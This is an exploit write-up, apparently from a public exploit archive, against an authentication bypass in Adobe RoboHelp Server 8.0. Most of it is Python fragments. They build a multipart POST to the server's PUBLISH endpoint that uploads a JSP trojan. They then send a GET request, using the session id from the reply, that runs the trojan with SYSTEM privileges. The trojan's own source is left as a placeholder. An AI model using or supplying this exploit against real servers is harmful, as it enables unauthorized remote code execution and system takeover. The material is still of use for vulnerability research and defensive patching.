31 lines
No EOL
1.1 KiB
Text
31 lines
No EOL
1.1 KiB
Text
source: https://www.securityfocus.com/bid/36245/info
|
|
|
|
Adobe RoboHelp Server is prone to an authentication-bypass vulnerability. An attacker can exploit this issue to upload and execute arbitrary code with SYSTEM-level privileges.
|
|
|
|
RoboHelp Server 8.0 is affected; other versions may also be vulnerable.
|
|
|
|
b="-----------------------------111\r\n"
|
|
b+="Content-Disposition: form-data; name=\"filename\"; filename=\"test.jsp\"\r\n"
|
|
b+="Content-Type: application/x-java-archive\r\n\r\n"
|
|
b+=data # source code of our JSP trojan here
|
|
b+="\r\n"
|
|
b+="-----------------------------111--\r\n"
|
|
|
|
s="POST /robohelp/server?PUBLISH=1 HTTP/1.1\r\n"
|
|
s+="Host: %s:%d\r\n"%(host, port)
|
|
s+="User-Agent: Mozilla\r\n"
|
|
s+="UID: 1234\r\n"
|
|
s+="Content-Type: multipart/form-data; boundary=---------------------------111\r\n"
|
|
s+="Content-Length: %d\r\n"%len(b)
|
|
s+="\r\n"
|
|
s+=b
|
|
|
|
sock.sendall(s)
|
|
reply=sock.recv(4000)
|
|
|
|
|
|
|
|
Get the value of 'sessionid' from the reply and use it in the following to execute the JSP trojan:
|
|
|
|
s="GET /robohelp/robo/reserved/web/%s/test.jsp HTTP/1.0\r\n\r\n" % session_id
|
|
sock.sendall(s) |